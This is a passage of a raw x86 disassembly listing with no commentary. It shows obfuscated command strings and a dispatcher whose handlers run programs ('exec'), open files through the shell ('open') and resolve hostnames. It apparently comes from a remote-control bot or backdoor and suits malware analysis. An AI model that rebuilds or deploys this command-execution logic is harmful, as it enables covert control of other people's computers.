[esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_40222A mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403DC0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403EA0 proc near ; CODE XREF: sub_40208Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403EA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AE6 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403EA0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403F80 proc near ; CODE XREF: sub_401D48j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403F80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017EE lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_403F80 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017EE push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017EE lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017EE lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017EE push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 16h push 0Fh push 0Dh push 5 push 12h push 4Fh lea ecx, [esp+44h] push 2 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017EE lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017EE lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017EE push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017EE lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 9 call sub_4017EE lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017EE push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017EE lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017EE push eax lea ecx, [esi+0CB3h] push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017EE push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- db 8Dh, 4Ch, 24h dd 247C8924h, 0CE60E85Ch, 4E8DFFFFh, 0D420E809h, 4C8DFFFFh dd 51500C24h, 0FFDC67E8h, 6A006AFFh, 6A1D6A25h, 24548D23h dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD5CFE8h, 20C483FFh, 4C8DE88Bh dd 44C60C24h, 0E80F5C24h, 0FFFFD3E6h, 0E8CD8B50h, 0FFFFD3DEh dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFDA04h, 8D10C483h dd 0C624244Ch, 0E5C2444h, 0FFCDF5E8h, 8D206AFFh, 6A402444h dd 4C8D5000h, 6FE81824h, 8BFFFFCEh, 2444C6C8h, 9FE8105Ch dd 50FFFFD3h, 4445F068h, 8E456800h, 0CEE8004Eh, 83FFFFCBh dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCDB6h, 0C804E890h dd 0C88B023Dh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h dd 247C8905h, 0CD94E85Ch, 4C8BFFFFh, 5E5F5424h, 0D89645Dh dd 0 ; --------------------------------------------------------------------------- add esp, 54h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 150h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404600 proc near ; CODE XREF: sub_401A41j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404600 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_401479 mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_404642 push ebx jmp short loc_404646 ; --------------------------------------------------------------------------- loc_404642: ; CODE XREF: sub_404600+3Dj lea eax, [esi+15h] push eax loc_404646: ; CODE XREF: sub_404600+40j mov ecx, edi call sub_401FDC mov al, [esi+94h] test al, al jz short loc_404662 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FDC loc_404662: ; CODE XREF: sub_404600+55j mov al, [esi+95h] test al, al jz short loc_4046DF lea ecx, [esp+98h+var_6C] call sub_40142E push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013ED add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E47 push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FDC lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_4046DF: ; CODE XREF: sub_404600+6Aj push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E47 lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_401479 push 0 mov ecx, esi mov ebp, eax call sub_401479 mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_4049AA push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019C4 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_4047CF sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 test eax, eax jz short loc_4047CF mov bl, 1 jmp short loc_4047D1 ; --------------------------------------------------------------------------- loc_4047CF: ; CODE XREF: sub_404600+1A6j ; sub_404600+1C9j xor bl, bl loc_4047D1: ; CODE XREF: sub_404600+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_40498E push offset asc_444600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_4049AA push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_4049AA push 20h mov ecx, esi call sub_401D34 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E47 mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D34 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E47 push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40202C lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FDC push offset asc_444600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016B8 lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E47 push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FDC lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_404967 test ebp, ebp jle short loc_404978 loc_404958: ; CODE XREF: sub_404600+363j mov ecx, [esp+98h+var_88] push esi call sub_401F87 dec ebp jnz short loc_404958 jmp short loc_404978 ; --------------------------------------------------------------------------- loc_404967: ; CODE XREF: sub_404600+352j test ebp, ebp jle short loc_404978 loc_40496B: ; CODE XREF: sub_404600+376j mov ecx, [esp+98h+var_88] push esi call sub_40144C dec ebp jnz short loc_40496B loc_404978: ; CODE XREF: sub_404600+356j ; sub_404600+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_4049AA ; --------------------------------------------------------------------------- loc_40498E: ; CODE XREF: sub_404600+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_4049A5 call sub_401F87 jmp short loc_4049AA ; --------------------------------------------------------------------------- loc_4049A5: ; CODE XREF: sub_404600+39Cj call sub_40144C loc_4049AA: ; CODE XREF: sub_404600+162j ; sub_404600+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404600 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404AD0 proc near ; CODE XREF: sub_401F87j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_44AC62 call sub_4014DD mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404B16 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 test eax, eax jnz short loc_404B16 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B16: ; CODE XREF: sub_404AD0+1Dj ; sub_404AD0+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 test eax, eax jnz short loc_404B56 mov al, [edi+469h] test al, al jz short loc_404B56 push 0 lea ecx, [esi+2Ah] call sub_401479 cmp byte ptr [eax], 23h jz short loc_404B56 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404B56: ; CODE XREF: sub_404AD0+64j ; sub_404AD0+6Ej ... push esi mov ecx, edi call sub_40144C pop edi pop esi retn 4 sub_404AD0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404BA0 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017EE push eax mov ecx, offset dword_449118 call sub_401B04 test eax, eax jz short loc_404BCA mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404BCA: ; CODE XREF: sub_404BA0+1Cj xor al, al pop esi retn 4 sub_404BA0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404BE0 proc near ; CODE XREF: sub_40186Bj push esi push edi mov edi, dword_5118AC mov esi, ecx call edi mov edx, dword_4D8099 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C0F mov ecx, offset byte_4D8075 call sub_401D20 call edi mov dword_4D8099, eax loc_404C0F: ; CODE XREF: sub_404BE0+1Cj pop edi mov al, 1 pop esi retn sub_404BE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C30 proc near ; CODE XREF: sub_4017D0j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404C30 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404CA4 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [edi+2E3h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40562F ; --------------------------------------------------------------------------- loc_404CA4: ; CODE XREF: sub_404C30+40j lea ecx, [edi+0D6Bh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404E35 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_444600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C71 push eax lea ecx, [esp+180h+var_14C] call sub_4017EE push eax call near ptr 2800000h nop lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FDC mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014DD push eax push 0 nop call near ptr 27F04D5h test eax, eax jnz short loc_404E09 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_405628 ; --------------------------------------------------------------------------- loc_404E09: ; CODE XREF: sub_404C30+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_40562F ; --------------------------------------------------------------------------- loc_404E35: ; CODE XREF: sub_404C30+89j lea ecx, [edi+0B71h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404EE4 push 1 push offset asc_444600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E8E45 mov [esp+178h+var_4], 3 call sub_4017EE push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404ED0 mov al, byte_449896 test al, al jz short loc_404EA0 push offset dword_449834 mov ecx, offset dword_44AD70 call sub_401451 loc_404EA0: ; CODE XREF: sub_404C30+25Fj mov al, byte_4498DF test al, al jz short loc_404EB8 push offset byte_44990F mov ecx, offset dword_44AD70 call sub_401951 loc_404EB8: ; CODE XREF: sub_404C30+277j mov ecx, offset dword_44AD70 call sub_401E79 mov byte_4D808C, 0 mov byte_4E8E44, 0 loc_404ED0: ; CODE XREF: sub_404C30+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_405628 ; --------------------------------------------------------------------------- loc_404EE4: ; CODE XREF: sub_404C30+21Aj lea ecx, [edi+0C57h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404F2C lea ecx, [esi+69h] call sub_4014DD push eax mov ecx, offset word_4E8E5A call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40562F ; --------------------------------------------------------------------------- loc_404F2C: ; CODE XREF: sub_404C30+2C9j lea ecx, [edi+0DC7h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404FE6 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019C4 mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1D4h+var_164] push 9 push ecx mov [esp+1DCh+var_4], 4 call sub_4019C4 add esp, 64h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_40562F ; --------------------------------------------------------------------------- loc_404FE6: ; CODE XREF: sub_404C30+311j lea ecx, [edi+0D0Fh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405104 lea ecx, [esp+178h+var_14C] call sub_40142E push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017EE push eax lea ecx, [esp+17Ch+var_14C] call sub_401A9B lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017EE push eax push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_402112 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40202C lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_405628 ; --------------------------------------------------------------------------- loc_405104: ; CODE XREF: sub_404C30+3CBj lea ecx, [edi+0D99h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405127 mov byte_4D808C, al mov al, 1 jmp loc_40562F ; --------------------------------------------------------------------------- loc_405127: ; CODE XREF: sub_404C30+4E9j lea ecx, [edi+0D3Dh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4053EE lea ecx, [esp+178h+var_11C] call sub_40142E push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_4051B1 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_405628 ; --------------------------------------------------------------------------- loc_4051B1: ; CODE XREF: sub_404C30+56Bj push offset asc_444600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017EE push eax call near ptr 71AB2BF4h nop lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_405284 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax call near ptr 71ABE479h nop mov edi, eax test edi, edi jz loc_405365 push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017EE push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_4053CB ; --------------------------------------------------------------------------- loc_405284: ; CODE XREF: sub_404C30+5C7j push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017EE push eax call near ptr 71AB4FD4h nop lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_405365 mov ecx, [edi+0Ch] push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016B8 mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh nop call near ptr 71AB3F41h push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40562F ; --------------------------------------------------------------------------- loc_405365: ; CODE XREF: sub_404C30+5E0j ; sub_404C30+691j push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 10h call sub_4017EE push eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_4053CB: ; CODE XREF: sub_404C30+64Fj mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_40562F ; --------------------------------------------------------------------------- loc_4053EE: ; CODE XREF: sub_404C30+50Cj lea ecx, [edi+0BCDh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4054DC lea ecx, 